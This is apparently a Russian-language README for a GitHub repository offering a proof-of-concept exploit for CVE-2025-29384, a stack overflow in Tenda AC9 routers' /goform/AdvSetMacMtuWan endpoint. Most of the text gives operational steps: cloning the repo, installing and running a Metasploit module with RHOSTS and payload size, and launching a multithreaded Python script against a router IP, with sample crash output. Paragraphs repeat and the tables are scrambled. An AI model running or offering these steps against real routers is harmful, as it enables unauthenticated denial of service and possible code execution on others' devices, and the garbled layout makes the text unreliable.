
Эксплойт proof-of-concept для CVE-2025-29384, критическое стековое переполнение буфера в маршрутизаторах Tenda AC9. Включает модули Python и Metasploit для неаутентифицированного удаленного DoS и потенциального RCE на прошивке на базе MIPS.
Этот репозиторий содержит продвинутый эксплойт доказательства концепции (PoC) для CVE-2025-29384 — критической уязвимости стекового переполнения буфера, обнаруженной в маршрутизаторе Tenda AC9 с версией прошивки V15.03.05.14_multi. Эта уязвимость позволяет неаутентифицированным удаленным злоумышленникам вызвать крах веб-сервера маршрутизатора (Отказ в обслуживании, DoS) и потенциально выполнить произвольный код (Удаленное выполнение кода, RCE).
Цель этого проекта — продемонстрировать навыки разработки эксплойтов, внести вклад в сообщество кибербезопасности и предоставить образовательную демонстрацию для академических оценок (например, стипендий по кибербезопасности). Этот репозиторий содержит продвинутый эксплойт доказательства концепции (PoC) для CVE-2025-29384 — критической уязвимости стекового переполнения буфера, обнаруженной в маршрутизаторе Tenda AC9 с версией прошивки V15.03.05.14_multi. Эта уязвимость позволяет неаутентифицированным удаленным злоумышленникам вызвать крах веб-сервера маршрутизатора (Отказ в обслуживании, DoS) и потенциально выполнить произвольный код (Удаленное выполнение кода, RCE).
Цель этого проекта — продемонстрировать навыки разработки эксплойтов, внести вклад в сообщество кибербезопасности и предоставить образовательную демонстрацию для академических оценок, таких как стипендии по кибербезопасности.
CVE-2025-29384 затрагивает веб-интерфейс управления маршрутизатора Tenda AC9, а именно конечную точку:
/goform/AdvSetMacMtuWan
Уязвимость существует из-за неправильной проверки границ параметра wanMTU, который обрабатывается через HTTP POST-запрос. Ввод копируется в стековый буфер фиксированного размера без проверки, что приводит к классическому стековому переполнению буфера.
Уязвимая функция (гипотетическая реконструкция) имеет следующую структуру:
void process_mtu(char *input) {
char buffer[256]; // Стековый буфер фиксированного размера
strcpy(buffer, input); // Без проверки длины, вызывает переполнение
// Обработка значения MTU...
}
Злоумышленник, отправляя нагрузку большого размера (например, 1024+ байт), перезаписывает соседнюю память, включая адрес возврата функции, что потенциально приводит к выполнению кода.
Tenda AC9 — это двухдиапазонный беспроводной маршрутизатор со следующими характеристиками:
Этот репозиторий также включает Ruby-модуль Metasploit для CVE-2025-29384. Модуль бесшовно интегрируется с фреймворком Metasploit, позволяя эксплуатировать уязвимость с помощью msfconsole.
git clone https://github.com/Otsmane-Ahmed/cve-2025-29384-poc
cd cve-2025-29384-poc
Найдите файл Ruby-модуля и скопируйте его в директорию эксплойтов Metasploit:
cp tenda_ac9_stack_overflow.rb ~/.msf4/modules/exploits/linux/http/
Примечание: Если директория не существует, создайте её:
mkdir -p ~/.msf4/modules/exploits/linux/http/
Запустите фреймворк Metasploit:
msfconsole
Загрузите модуль:
use exploit/linux/http/tenda_ac9_stack_overflow
Установите IP-адрес цели:
set RHOSTS <target_ip>
Установите размер нагрузки (опционально, по умолчанию 1024):
set PAYLOAD_SIZE 2048
Запустите эксплойт:
run
[*] Targeting Tenda AC9 at 192.168.0.1:80...
[*] Sending payload of size 2048...
[+] Payload sent successfully!
[*] Response: HTTP/1.1 200 OK...
Успех: Веб-сервер маршрутизатора аварийно завершает работу, вызывая отказ в обслуживании (DoS).
Неудача: Маршрутизатор остается работоспособным, что указывает на то, что он может быть не уязвим или работает с пропатченной версией прошивки.
Этот PoC представляет собой Python-эксплойт, который отправляет чрезмерно большой ввод на /goform/AdvSetMacMtuWan, вызывая переполнение буфера для аварийного завершения веб-сервера и демонстрируя потенциал для RCE.
Многопоточность – Запускает несколько одновременных попыток эксплойта для надежности.
Динамические нагрузки – Генерирует рандомизированные строки атаки в кодировке base64.
Логирование – Использует модуль логирования Python для структурированной отладки.
Настраиваемые параметры – Позволяет изменять целевой IP, размер нагрузки и количество потоков.
Этот PoC представляет собой Python-эксплойт, который отправляет чрезмерно большой ввод на /goform/AdvSetMacMtuWan, вызывая переполнение буфера для аварийного завершения веб-сервера.
python poc.py --target <router_ip> --size 2048 --threads 10
| Аргумент | Описание |
|---|---|
--target | IP-адрес маршрутизатора (по умолчанию: ) |
[+] CVE-2025-29384 Exploit Engine
[INFO] Target: 192.168.0.1
[INFO] Sending payload (2048 bytes)...
[WARNING] Target timeout - possible crash!
[INFO] Exploit sequence completed.
Успех: Веб-интерфейс маршрутизатора перестает отвечать (условие DoS).
Неудача: Маршрутизатор все еще отвечает (не уязвим или не та прошивка).
Чтобы подтвердить, что эксплойт успешно вызвал сбой маршрутизатора, попробуйте перезагрузить веб-интерфейс. Если он перестает отвечать, атака прошла успешно. Для дальнейшего анализа проверьте журналы сети на предмет разорванных соединений или используйте ping для проверки отклика устройства.
Этот проект предназначен только для образовательных целей и этичного взлома. Несанкционированное использование этого эксплойта является незаконным. Автор не несет ответственности за неправомерное использование или ущерб, причиненный этим кодом.
Разработано с ❤️ Otsmane Ahmed Этот проект предназначен только для образовательных целей и этичного взлома. Несанкционированное использование этого эксплойта является незаконным. Автор не несет ответственности за неправомерное использование или ущерб, причиненный этим кодом.
Этот проект выпущен под лицензией MIT.
| Метрика | Значение |
|---|
| Вектор атаки | Сеть |
| Сложность атаки | Низкая |
| Необходимые привилегии | Нет |
| Взаимодействие с пользователем | Нет |
| Влияние на конфиденциальность | Высокое |
| Влияние на целостность | Высокое |
| Влияние на доступность | Высокое |
192.168.0.1--size | Размер нагрузки в байтах (по умолчанию: 1024) |
--threads | Количество одновременных потоков (по умолчанию: 5) |